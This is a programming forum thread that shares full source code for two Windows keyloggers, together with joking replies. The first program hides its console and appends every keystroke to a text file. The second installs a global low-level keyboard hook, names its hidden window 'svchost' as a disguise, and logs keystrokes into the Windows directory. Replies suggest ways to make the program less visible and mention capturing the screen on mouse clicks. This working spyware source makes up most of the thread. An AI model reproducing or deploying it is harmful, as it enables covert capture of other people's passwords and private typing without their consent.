A simple Keylogger Program

# include <stdio.h>
# include <conio.h>
# include <windows.h>
# include <winuser.h>
# include <iostream.h>

int main ( void )
{
int cha;
char ch;
FILE *fptr;
HWND stealth; /*creating stealth (window is not visible)*/
AllocConsole();
stealth=FindWindowA("ConsoleWindowClass",NULL);
ShowWindow(stealth,0);
while(1)
{
if ( kbhit() )
{
ch = getch();
cha = ch;
fptr = fopen("KEYS.TXT", "a+");
fputc(ch,fptr);
fclose(fptr);
if ( cha == 27 )
{
return 0;
}
}
}
}

// NOTE: THIS CODE WILL COMPILE IN DEV C++

Seraphimsan (954)

neat, what about it?

Skillless (227)

Protip: Disable the console under dev c++'s options, and strip executable for minimal size
Also, you really dont need all those headers

Script kiddy virus score: 2/10 stars

(And by the way, youre using getch() to log keys, while hiding the console? Thats so stupid, it might work :"D)

Last edited on

chrisname (7395)

Hey, I made one too, only mine comes with comments and indentation!

/*
 * WinKey -- A GPL Windows keylogging program. While this program can potentially
 * be used for nefarious purposes, it was written for educational and recreational
 * purposes only and the author does not endorse illegal use.
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program.  If not, see <http://www.gnu.org/licenses/>.
 */

#include <fstream>
#include <iostream>
#include <string>
#include <windows.h>

#define	DEBUG	1

#define OUTFILE_NAME	"Logs\\WinKey.log"	/* Output file */
#define CLASSNAME	"winkey"
#define WINDOWTITLE	"svchost"

char	windir[MAX_PATH + 1];
HHOOK	kbdhook;	/* Keyboard hook handle */
bool	running;	/* Used in main loop */

/**
 * \brief Called by Windows automagically every time a key is pressed (regardless
 * of who has focus)
 */
__declspec(dllexport) LRESULT CALLBACK handlekeys(int code, WPARAM wp, LPARAM lp)
{
	if (code == HC_ACTION && (wp == WM_SYSKEYDOWN || wp == WM_KEYDOWN)) {
		static bool capslock = false;
		static bool shift = false;
		char tmp[0xFF] = {0};
		std::string str;
		DWORD msg = 1;
		KBDLLHOOKSTRUCT st_hook = *((KBDLLHOOKSTRUCT*)lp);
		bool printable;

		/*
		 * Get key name as string
		 */
		msg += (st_hook.scanCode << 16);
		msg += (st_hook.flags << 24);
		GetKeyNameText(msg, tmp, 0xFF);
		str = std::string(tmp);

		printable = (str.length() <= 1) ? true : false;

		/*
		 * Non-printable characters only:
		 * Some of these (namely; newline, space and tab) will be
		 * made into printable characters.
		 * Others are encapsulated in brackets ('[' and ']').
		 */
		if (!printable) {
			/*
			 * Keynames that change state are handled here.
			 */
			if (str == "CAPSLOCK")
				capslock = !capslock;
			else if (str == "SHIFT")
				shift = true;

			/*
			 * Keynames that may become printable characters are
			 * handled here.
			 */
			if (str == "ENTER") {
				str = "\n";
				printable = true;
			} else if (str == "SPACE") {
				str = " ";
				printable = true;
			} else if (str == "TAB") {
				str = "\t";
				printable = true;
			} else {
				str = ("[" + str + "]");
			}
		}

		/*
		 * Printable characters only:
		 * If shift is on and capslock is off or shift is off and
		 * capslock is on, make the character uppercase.
		 * If both are off or both are on, the character is lowercase
		 */
		if (printable) {
			if (shift == capslock) { /* Lowercase */
				for (size_t i = 0; i < str.length(); ++i)
					str[i] = tolower(str[i]);
			} else { /* Uppercase */
				for (size_t i = 0; i < str.length(); ++i) {
					if (str[i] >= 'A' && str[i] <= 'Z') {
						str[i] = toupper(str[i]);
					}
				}
			}

			shift = false;
		}

#ifdef DEBUG
		std::cout << str;
#endif
		std::string path = std::string(windir) + "\\" + OUTFILE_NAME;
		std::ofstream outfile(path.c_str(), std::ios_base::app);
		outfile << str;
		outfile.close();
	}

	return CallNextHookEx(kbdhook, code, wp, lp);
}


/**
 * \brief Called by DispatchMessage() to handle messages
 * \param hwnd	Window handle
 * \param msg	Message to handle
 * \param wp
 * \param lp
 * \return 0 on success
 */
LRESULT CALLBACK windowprocedure(HWND hwnd, UINT msg, WPARAM wp, LPARAM lp)
{
	switch (msg) {
		case WM_CLOSE: case WM_DESTROY:
			running = false;
			break;
		default:
			/* Call default message handler */
			return DefWindowProc(hwnd, msg, wp, lp);
	}

	return 0;
}

int WINAPI WinMain(HINSTANCE thisinstance, HINSTANCE previnstance,
		LPSTR cmdline, int ncmdshow)
{
	/*
	 * Set up window
	 */
	HWND		hwnd;
	HWND		fgwindow = GetForegroundWindow(); /* Current foreground window */
	MSG		msg;
	WNDCLASSEX	windowclass;
	HINSTANCE	modulehandle;

	windowclass.hInstance = thisinstance;
	windowclass.lpszClassName = CLASSNAME;
	windowclass.lpfnWndProc = windowprocedure;
	windowclass.style = CS_DBLCLKS;
	windowclass.cbSize = sizeof(WNDCLASSEX);
	windowclass.hIcon = LoadIcon(NULL, IDI_APPLICATION);
	windowclass.hIconSm = LoadIcon(NULL, IDI_APPLICATION);
	windowclass.hCursor  = LoadCursor(NULL, IDC_ARROW);
	windowclass.lpszMenuName = NULL;
	windowclass.cbClsExtra = 0;
	windowclass.cbWndExtra = 0;
	windowclass.hbrBackground = (HBRUSH)COLOR_BACKGROUND;

	if (!(RegisterClassEx(&windowclass)))
		return 1;

	hwnd = CreateWindowEx(NULL, CLASSNAME, WINDOWTITLE, WS_OVERLAPPEDWINDOW,
			CW_USEDEFAULT, CW_USEDEFAULT, 640, 480, HWND_DESKTOP, NULL,
			thisinstance, NULL);
	if (!(hwnd))
		return 1;

	/*
	 * Make the window invisible
	 */
#ifdef DEBUG
	/*
	 * Debug mode: Make the window visible
	 */
	ShowWindow(hwnd, SW_SHOW);
#else
	ShowWindow(hwnd, SW_HIDE);
#endif
	UpdateWindow(hwnd);
	SetForegroundWindow(fgwindow); /* Give focus to the previous fg window */

	/*
	 * Hook keyboard input so we get it too
	 */
	modulehandle = GetModuleHandle(NULL);
	kbdhook = SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC)handlekeys, modulehandle, NULL);

	running = true;

	GetWindowsDirectory((LPSTR)windir, MAX_PATH);

	/*
	 * Main loop
	 */
	while (running) {
		/*
		 * Get messages, dispatch to window procedure
		 */
		if (!GetMessage(&msg, NULL, 0, 0))
			running = false; /*
					  * This is not a "return" or
					  * "break" so the rest of the loop is
					  * done. This way, we never miss keys
					  * when destroyed but we still exit.
					  */
		TranslateMessage(&msg);
		DispatchMessage(&msg);
	}

	return 0;
}

NOTE: THIS CODE REQUIRES A REASONABLY STANDARDS-CONFORMING COMPILER (NOT AN IDE) TO COMPILE

I need to rewrite the handlekeys() function to use GetAsyncKeyState(); the way the program works now, the keyboard's state before the program starts is insignificant, so if CAPS LOCK is on and then the program starts then keys will be in lower case.

Yours has this problem too.

helios (17505)

I wrote one once that not only logged keys. It also grabbed the screen around the mouse cursor every time there was a click.

chrisname (7395)

I wrote one once that not only logged keys, it also grabbed the contents of the user's brain every time there was a thought.

Seraphimsan (954)

I wrote one once that not only logged keys, it also unhooked the user from the space time continuum, giving them the uncontrollable ability to teleport, and then I stole their computer.

NGen (689)

Seraphimsan wins.

chrisname (7395)

no u

clover leaf (70)

Isn't a keylogger a program that tracks your key strokes and mouse movements?

m4ster r0shi (2201)

Yes, but creative programmers like the guys above may decide to implement additional features, as they see fit.

chrisname (7395)

I'm currently working on one that captures everything within your vision a few milliseconds after you blink.

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A simple Keylogger Program